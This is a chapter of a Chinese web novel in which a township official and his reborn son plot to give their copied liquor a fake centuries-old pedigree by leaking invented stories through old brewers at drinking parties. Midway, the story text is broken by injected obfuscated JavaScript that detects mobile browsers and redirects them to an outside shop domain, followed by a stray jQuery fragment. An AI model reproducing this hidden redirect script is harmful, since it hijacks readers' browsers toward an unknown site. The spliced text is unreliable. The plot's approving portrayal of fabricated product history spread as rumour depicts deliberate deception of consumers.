天色擦黑，镇政府大院褪去白日喧嚣。
叶舟蹬着二八大杠自行车从酒厂出来，车轮碾过暮色里的柏油路，晚风微凉。连日扎在车间盯生产、盯包装、盯出货，他几乎把民政办的工作彻底搁置。
快到大院门口时，他刚好撞见下班出来的钱美玲。
钱美玲挎着布包，看见他骑车匆匆的模样，先是一愣，随即扯着嗓门打趣。“哎哟，叶大主任！还认得回镇上的路啊？”
叶舟赶紧捏住刹车，单脚撑地，有些不好意思地笑：“钱大姐说笑了，酒厂刚复产，一堆烂摊子收尾，实在脱不开身。”
“脱不开身？”钱美玲拉长语调，嘴上带着熟络的数落，“你再忙一阵子，怕是连民政办的门朝哪开都忘了。你那办公桌，我前后帮你擦了三回，次次落灰，人影都见不着。”
“辛苦你了大姐。”叶舟挠头赔笑。
钱美玲摆摆手，语气软了下来，数落归数落，心里是实打实的认可：“行了行了，知道你干的是正经政绩。赶紧回家吧，别让媳妇等饭。对了，你家那新酒我可听不少人提了，回头务必给大姐留两瓶尝尝鲜。”
“没问题！包在我身上！”叶舟爽快应下，再次蹬车赶路。
街道灯火次第亮起，昏黄路灯把他的影子扯得忽长忽短。他一路踩着车，脑子里压根没空看街边夜景，翻来覆去琢磨的，全是明溪酿的品牌故事。
酒是好酒，口感对标高端，定价亲民，可终究是后期勾调复刻出来的。没有渊源、没有来历、没有说法。对外直白说是借鉴名酒工艺，终究落人口舌，卖出去都底气不足。他一路上嘴里碎碎念叨，明朝、宜宾、落难匠人、世代酿酒、古坊传承……跟背台词一样，反复拼凑、反复打磨，就想给自己的新酒，立一段体面的过往。
到家推门而入，满屋饭菜热气扑面而来。宁蕙心正端着最后一盘菜从厨房出来，叶子安已经乖乖坐在桌前，手里转着筷子，静静等他开饭。
叶舟洗手落座，先飞快扒了两口米饭垫肚子，随即清了清嗓子，脸上带着几分期待，又带着点不自信的试探：“媳妇、儿子，我琢磨出一段酒的来历，你们帮我听听，合不合理？”
叶子安放下筷子，淡淡抬眼：“老爸你说，我听着。”宁蕙心也顺势停下动作，好奇看向他。
叶舟搓了搓手，把自己一路拼凑的故事娓娓道来。
“咱们明溪酿，我打算这么定渊源。早年间中原酒风盛行，明朝年间，四川宜宾有一户世代酿酒的匠人，中途遭遇匪祸流落异乡。一路颠沛，辗转来到咱们安溪地界。旧时安溪本地酒坊工艺粗糙，酒体酸涩、口感单薄。那位落难匠人受过本地乡民接济感念恩情，便留下来改良古法酿酒手艺，手把手调整窖制、配比、勾调整套工序，才有了最初的明溪酒体。往后百年，本地酒坊代代传承。只是后来战乱动荡、人流四散，古法险些失传。这次安溪酒厂改制重启，我们特意寻访旧迹、走访老人，找到当年匠人旁支留存的零星工艺记载，再由厂里老师傅复原调试，最终酿出如今的明溪酿。”
说完，叶舟满眼期待看着妻儿：“怎么样？这么一说，是不是一下子就有历史底蕴、有传承故事了？”
话音落地，屋内安静两秒。
叶子安轻轻摇头，语气直白不绕弯：“老爸，太刻意了，拼凑痕迹太重，一听就是现编的，很牵强。”
宁蕙心更是直接挑眉吐槽，带着乡下妇人的实在坦率：“可不是嘛！咱们安溪镇就这么大点地方，老一辈谁的祖上没摸过底？凭空冒出来个明朝酿酒匠人，纯属上坟烧报纸，糊弄鬼呢！根本没人信。”
两口子一唱一和，直接把叶舟满心的成就感泼得一干二净。叶舟脸色瞬间垮下来，有点憋屈：“那你们说怎么办？总不能对外老实交代，我们这酒是照着名酒勾调复刻的吧？那还怎么卖！”
看着老爸委屈又着急的模样，叶子安心里暗自好笑。他老爸做事踏实肯干，可玩人心、玩舆论、玩民间造势，还是太老实、太官方。正经官宣的故事，越说越假。民间传出来的故事，越传越真。
叶子安身子微微前倾，眼神笃定，压低声音道出核心思路：“老爸，你记住一件事。好酒的故事，不能从领导嘴里说出来，要从老百姓嘴里传出来。”
叶舟一愣，怔怔看着儿子，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644523|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
瞬间来了精神。
“酒厂那帮老师傅，个个活了大半辈子，嘴熟、人脉广、爱喝酒、爱唠嗑。你不用官方发布任何故事，你只需要安排他们‘偶然’漏话。”叶子安慢条斯理，把整套造势计策讲透。
“你安排几位老师傅，专门出一趟远门，对外就说是寻访旧匠人遗迹、溯源老酒工艺。回来之后，不用正经汇报，不用公开宣传。就找熟人饭局、酒桌闲聊，故意喝得微醺，半真半假、断断续续往外漏消息。话别说满、别说透、别说完整。越模糊、越神秘、越说不清，外人越会脑补。今天有人听出是明朝古坊，明天有人传是宫廷外流工艺，后天就有人能编出代代秘传的故事。”
叶子安嘴角勾起一抹了然浅笑。他太懂这种民间传播规律。前世职场，男女同事多说两句话、走得近一点，不出半天，全厂都能传出各种版本的暧昧闲话。真相没人听，谣言人人信。官方说辞没人记，民间流言传千里。
“等故事在镇上、县里传开一圈，所有人心里都默认明溪酿有古法底蕴、有百年传承。到那时咱们再正式上市，根本不用你费口舌解释，名声早就铺出去了。”
听完这番话，叶舟猛地一拍大腿，眼神瞬间亮得彻底。醍醐灌顶！他刚才苦思冥想，只想着自己编、自己说、自己官宣，死板又僵硬。儿子这一招，是借众人之口、造无本之势，半真半假、虚实交织，比任何官方文案都管用百倍。高明，实在太高明！
叶子安见他彻底想通，不再多言，起身拿起书本：“思路给你了，细节你自己琢磨落地。我先看书了。”
看着儿子小小年纪、云淡风轻转身的背影，叶舟心里满是感慨。几句话，简简单单，却句句点破人心、吃透舆论。
宁蕙心坐在一旁，看得通透，忍不住笑着摇头。她完全能想象出画面。不出几日，镇上酒友、街坊妇人、退休老人，会把这段残缺零碎的酒坊故事，传得神乎其神。
叶舟拿起桌边的空酒瓶，反复摩挲透亮的瓶身。他仿佛已经预见。无需花一分钱打广告，无需费口舌做宣传。谣言造势，口碑落地，明溪酿的名气，会自己长出翅膀，飞出乡镇，传遍全县。